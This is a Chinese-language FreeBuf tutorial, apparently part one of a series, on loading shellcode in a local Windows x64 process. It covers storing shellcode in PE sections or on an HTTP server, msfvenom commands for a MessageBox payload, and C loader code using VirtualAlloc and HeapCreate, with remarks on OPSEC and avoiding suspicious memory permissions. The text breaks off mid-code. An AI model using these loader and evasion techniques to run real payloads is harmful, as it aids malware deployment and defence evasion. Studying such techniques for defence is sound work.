freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Windows x64 ShellCode加载技术(上篇):本地进程加载
2023-10-22 00:07:52

1.前言

本篇文章主要是介绍Windows x64下加载shellcode的方案,shellcode也称为PIC本质上就是一段位置无关的十六进制汇编代码。我们要加载运行shellcode主要可以分为3个关键点,第1点shellcode的存放位置,第2点申请可执行内存将shellcode复制进去,第3点将程序控制流转移到shellcode执行,所以本文也是围绕这3个关键点进阐述。

2.ShellCode存放

shellcode主要有2种常用格式,我们可以在kali linux通过msfvenom -p windows/x64/messagebox TEXT='ShellCode Execute!' -f c生成一个用于弹出MessageBox的shellcode并导出为C语言数组格式

image

第2种常用格式就是raw类型,我们通过msfvenom -p windows/x64/messagebox TEXT='ShellCode Execute!' -f raw -o msgbox.bin就可以生成raw类型shellcode并导出到文件中

image

2.1 .data段存放

通过如下C语言数组的方式我们就可以将刚刚生成的shellcode存放到PE文件中的.data段中

#include <stdio.h>
#include <Windows.h>

unsigned char ShellCode[] = {/*shellcode存放*/};

int main()
{
    printf("ShellCode Address:%#llx\n", ShellCode);
    return 0;
}

可以看到此时shellcode的地址位于PE文件中的.data段中,.data段内存保护属性为RW

image

有一种方案我们也可以将.data段赋予执行权限,我们可以通过如下编译器预处理指令可以将.data段的内存保护属性更改为RWX,不过这种方案不推荐使用因为.data段拥有RWX内存保护属性是一个可疑指标

#pragma comment(linker,"/SECTION:.data,ERW")

我们使用vs自带的dumpbin工具查看.data段的区段头表,其实上述编译器预处理指令本质就是在区段头表中的Characteristics字段附加了可执行属性

image

2.2 .rdata段存放

只要通过const语句修饰C语言数组我们就可以将shellcode存放到PE文件中的.rdata段

#include <stdio.h>
#include <Windows.h>

const unsigned char ShellCode[] = {/*shellcode存放*/};

int main()
{
    printf("ShellCode Address:%#llx\n", ShellCode);
    return 0;
}

可以看到此时shellcode的地址在PE文件中的.rdata段中,.rdata段的内存保护属性为仅可读

image

和.data段类似.rdata段我们也可以通过如下编译器预处理指令附加可执行权限

#pragma comment(linker,"/SECTION:.rdata,ERW")

2.3 .rsrc段存放

我们在资源文件栏右键->添加->资源
image

之后会自动生成resource.h和以当前工程项目命名的.rc文件然后弹出添加资源的小窗口
image

接下来我们点击导入然后选择我们之前导出的shellcode文件,在资源类型填写这里可以填写为自定义字符这里我就填为RCBIN了
image

此时shellcode已经作为资源添加到PE文件中,我们可以看到资源视图下我们添加的RCBIN资源类型和自动生成的IDR_RCBIN1资源ID
image

在resource.h头文件中我们可以修改自动生成的资源ID和名称
image

之后我们可以通过调用一系列函数组合获取在.rsrc区段的shellcode地址和大小,具体代码实现将在后续小节给出。我们可以看到此时shellcode地址位于.rsrc区段,.rsrc区段的内存保护属性为只读
image

2.4 HTTP服务器存储

之前小节的介绍的shellcode存储方式都是在当前PE文件中,本小节我们将shellcode存储于HTTP服务器,这种将shellcode存储在PE文件之外的方式也被称为分离加载,这里HTTP服务器我通过Python3的python -m http.server 8888搭建,从HTTP服务器下载数据的代码实现将在后续小节给出

image

3.可执行内存

3.1 寻找合法可执行权限内存

合法可执行权限内存也就是不通过win32 api动态申请可执行内存的情况下在本进程自然存在的拥有可执行权限的内存,我们可以使用ProcessHacker工具看到在当前进程中拥有合法可执行权限内存的一个就是当前进程的.text段还有当前进程加载到内存的dll的.text段,而且这2种可执行内存类型都为image并且内存保护属性都是RX
image

如果要利用本进程的.text段存放shellcode最简便的方法就是通过如下的编译器预处理指令将shellcode存放到本进程的.text段,由于.text段内存保护属性默认为RX所以我们可以跳过动态申请可执行内存的步骤

#pragma section(".text")
__declspec(allocate(".text")) unsigned char ShellCode[] = {/*shellcode存放*/};

如果要利用加载到本进程的dll的.text段存放shellcode,首先我们需要解析目标dll的PE结构得出.text位置和大小,并且由于.text段内存保护属性默认为RX属性,我们需要将目标dll的.text段内存保护属性改为RWX将shellcode覆盖后再修改回原内存权限,所以我们需要寻找shellcode的功能实现中不会加载的dll否则会产生异常,具体的代码实现将在后续小节中给出这里就通过一个示意图来表达

image

3.2 VirtualAlloc

通过VirtualAlloc函数直接申请RWX权限内存是最常用的动态申请可执行内存操作,在这里我们是先申请了RW保护属性的内存后续再通过VirtualProtect函数修改内存保护属性为RX这样更符合OPSEC

#include <stdio.h>
#include <Windows.h>

unsigned char ShellCode[] = {/*shellcode存放*/};

int main() 
{
    DWORD dwOldProtect = 0;
    // 申请RW内存保护属性的虚拟内存
    LPVOID lpShellCode = VirtualAlloc(NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 内存分配失败
    if (lpShellCode == NULL) {
        return -1;
    }
    // 将shellcode复制到申请的虚拟内存中
    RtlMoveMemory(lpShellCode, ShellCode, sizeof(ShellCode));
    // 修改虚拟内存保护属性为RX
    VirtualProtect(lpShellCode, sizeof(ShellCode), PAGE_EXECUTE_READ, &dwOldProtect);
    printf("ShellCode Address:%#llx\n", lpShellCode);

    // 释放内存
    VirtualFree(lpShellCode, 0, MEM_RELEASE);
    return 0;
}

我们使用ProcessHacker查看我们申请的虚拟内存保护属性为RX并且shellcode写入成功
image

VirtualAlloc函数本质上是一个stub最终会通过调用3环下的NtAllocateVirtualMemory函数通过syscall调用进入0环的代码实现执行
image

3.3 HeapCreate

我们可以调用HeapCreate函数在参数1传入HEAP_CREATE_ENABLE_EXECUTE创建一个RWX内存保护属性的堆内存

#include <stdio.h>
#include <Windows.h>

unsigned char ShellCode[] = {/*shellcode存放*/};

int main() 
{
    // 创建一个默认大小RWX内存保护属性的堆
    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); 
    if (hHeap == NULL) {
        return -1;
    }
    // 分配堆内存
    LPVOID lpShellCode = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(ShellCode));
    if (lpShellCode == NULL) {
        HeapDestroy(hHeap);
        return -1;
    }
    // 复制shellcode到堆内存
    RtlMoveMemory(lpShellCode, ShellCode, sizeof(ShellCode));
    printf("ShellCode Address:%#llx\n", lpShellC
# shellcode
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录